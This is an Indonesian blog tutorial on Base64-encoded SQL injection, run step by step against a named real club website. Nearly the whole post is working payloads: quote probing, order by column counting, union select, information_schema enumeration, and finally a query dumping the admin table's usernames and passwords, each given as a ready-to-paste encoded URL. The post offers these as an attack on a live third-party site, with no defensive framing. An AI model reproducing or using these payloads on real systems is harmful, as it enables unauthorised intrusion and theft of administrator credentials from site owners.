Kamis, 19 Mei 2016

Tutorial Base64 SQL Injection

Oke langsung ke tutorial.
Target saya kali ini adalah

http://www.londonfencingclub.co.uk/pictures_detail.php?id=MTM=

Decode menjadi
http://www.londonfencingclub.co.uk/pictures_detail.php?id=13

kasih tanda petik satu dibelakang angka menjadi
http://www.londonfencingclub.co.uk/pictures_detail.php?id=13'
Encode dulu pakai Hackbar, jadi
http://www.londonfencingclub.co.uk/pictures_detail.php?id=MTMn



Langkah selanjutnya, sama seperti injeksi biasa hanya url diencode seperti diatas.
pakai perintah order by untuk mencari error.
Mulai dari
http://www.londonfencingclub.co.uk/pictures_detail.php?id=13 order by 1--
jangan lupa di encode menjadi :
http://www.londonfencingclub.co.uk/pictures_detail.php?id=MTMgb3JkZXIgYnkgMS0t


Hasilnya normal. cari lagi sampai ketemu error.
Langsung cek order by 100

http://www.londonfencingclub.co.uk/pictures_detail.php?id=13 order by 100-- -
Encode pakai hackbar menjadi :
http://www.londonfencingclub.co.uk/pictures_detail.php?id=MTMgb3JkZXIgYnkgMTAwLS0gLQ==

Sampai order by 100 ternyata masih normal. Tenang, ada cara baypassnya :D
Tambahkan tanda petik (') setelah angka 13 .
http://www.londonfencingclub.co.uk/pictures_detail.php?id=13' order by 100-- -
Encode menjadi :
http://www.londonfencingclub.co.uk/pictures_detail.php?id=MTMnIG9yZGVyIGJ5IDEwMC0tIC0=
Hasilnya , error. No record found :p

Langkah selanjutnya, nyari jumlah column di webnya :D
Langsung order by 10
http://www.londonfencingclub.co.uk/pictures_detail.php?id=13' order by 10-- -
Jangan lupa diencode
http://www.londonfencingclub.co.uk/pictures_detail.php?id=MTMnIG9yZGVyIGJ5IDEwLS0gLQ==
Hasilnya normal.

Coba 12
http://www.londonfencingclub.co.uk/pictures_detail.php?id=13' order by 12-- -
Jangan lupa di encode
http://www.londonfencingclub.co.uk/pictures_detail.php?id=MTMnIG9yZGVyIGJ5IDEyLS0gLQ==


Error.

Berarti jumlahnya antara 10-12,
Coba 11.
http://www.londonfencingclub.co.uk/pictures_detail.php?id=13' order by 11-- -
encode
http://www.londonfencingclub.co.uk/pictures_detail.php?id=MTMnIG9yZGVyIGJ5IDExLS0gLQ==


hasilnya normal.
Berarti jumlah kolomnya ada 11.

Langkah selanjutnya, cari angka ajaib :v
http://www.londonfencingclub.co.uk/pictures_detail.php?id=-13' union select 1,2,3,4,5,6,7,8,9,10,11-- -
Encode dulu kakak
http://www.londonfencingclub.co.uk/pictures_detail.php?id=LTEzJyB1bmlvbiBzZWxlY3QgMSwyLDMsNCw1LDYsNyw4LDksMTAsMTEtLSAt


nah keluar tuh angka maho nya 2 sama 3.
Kita pilih salahsatu untuk melihat table. saya pakai yang 2 aja :p
http://www.londonfencingclub.co.uk/pictures_detail.php?id=-13' union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11 from information_schema.tables where table_schema=database()-- -
Encode dulu
http://www.londonfencingclub.co.uk/pictures_detail.php?id=LTEzJyB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQodGFibGVfbmFtZSksMyw0LDUsNiw3LDgsOSwxMCwxMSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCktLSAt

Nah muncul tu nama nama table nya. Pilih yang berhubungan dengan admin yaitu admin_table .
Convert dulu ke bentuk HEX. Di Hackbar udah ada kok.
Klikk menu Encoding - HEX Encoding - String to 00ff00ff

admin_table ketika diconvert menjadi 61646d696e5f7461626c65
Jangan lupa tambahkan 0x didepannya sehingga menjadi 0x61646d696e5f7461626c65
Sekarang waktunya melihat isi dari admin_table
http://www.londonfencingclub.co.uk/pictures_detail.php?id=-13' union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11 from information_schema.columns where table_name=0x61646d696e5f7461626c65 -- -
Encode
http://www.londonfencingclub.co.uk/pictures_detail.php?id=LTEzJyB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQoY29sdW1uX25hbWUpLDMsNCw1LDYsNyw4LDksMTAsMTEgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9uYW1lPTB4NjE2NDZkNjk2ZTVmNzQ2MTYyNmM2NSAtLSAt


nah keluar tuh nama table nya username sama password .
Tinggal get data :*
Caranya ?
http://www.londonfencingclub.co.uk/pictures_detail.php?id=-13' union select 1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10,11 from admin_table-- -
encode dulu
http://www.londonfencingclub.co.uk/pictures_detail.php?id=LTEzJyB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQodXNlcm5hbWUsMHgzYSxwYXNzd29yZCksMyw0LDUsNiw3LDgsOSwxMCwxMSBmcm9tIGFkbWluX3RhYmxlLS0gLQ==

sumber


Emoticon Emoticon